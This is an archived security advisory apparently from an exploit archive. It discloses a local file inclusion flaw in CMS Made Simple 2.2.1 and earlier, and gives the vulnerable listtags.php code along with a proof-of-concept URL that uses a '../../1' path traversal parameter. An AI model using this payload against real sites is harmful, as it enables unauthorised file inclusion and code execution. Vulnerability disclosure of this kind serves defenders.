Twenty Year Anniversary

CMS Made Simple 2.2.1 Local File Inclusion

CMS Made Simple 2.2.1 Local File Inclusion
Posted Jul 2, 2017
Authored by Zhiyang Zeng

CMS Made Simple versions 2.2.1 and below suffers from a local inclusion vulnerability.

tags | exploit, local, file inclusion
MD5 | b3f295af95e08dea0b4737419f60d4db

CMS Made Simple 2.2.1 Local File Inclusion

Change Mirror Download
=======
Details
=======

Software:cmsmadesimple


Homepage:http://www.cmsmadesimple.org/<http://www.cmsmadesimple.org/><http://www.cmsmadesimple.org/>


version:<=2.2.1


description:The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.


========

PoC:

========


For cmsmadesimple <=2.1.6:


The Vulnerability is existing in /cmsms/admin/listtags.php Line 82 and line 54

If there is a file named "1.phpinfo.php" in http://127.0.0.1/1.phpinfo.php

So when we visit the following link:

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp

http://127.0.0.1/cmsms/admin/listtags.php?_sk_=08852e62af02bc03&action=showpluginhelp&plugin=phpinfo&
type=../../1

local file inclusion successfully!


For cmsmadesimple <=2.2.1:


Current version is still vulnerable.


if ($action == "showpluginhelp") {
$content = '';
$file = $find_file("$type.$plugin.php");
if( is_file($file) ) require_once($file);


=========

Reference

==========


https://lightrains.org/local-file-inclusion-in-cmsmadesimple/





Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    17 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close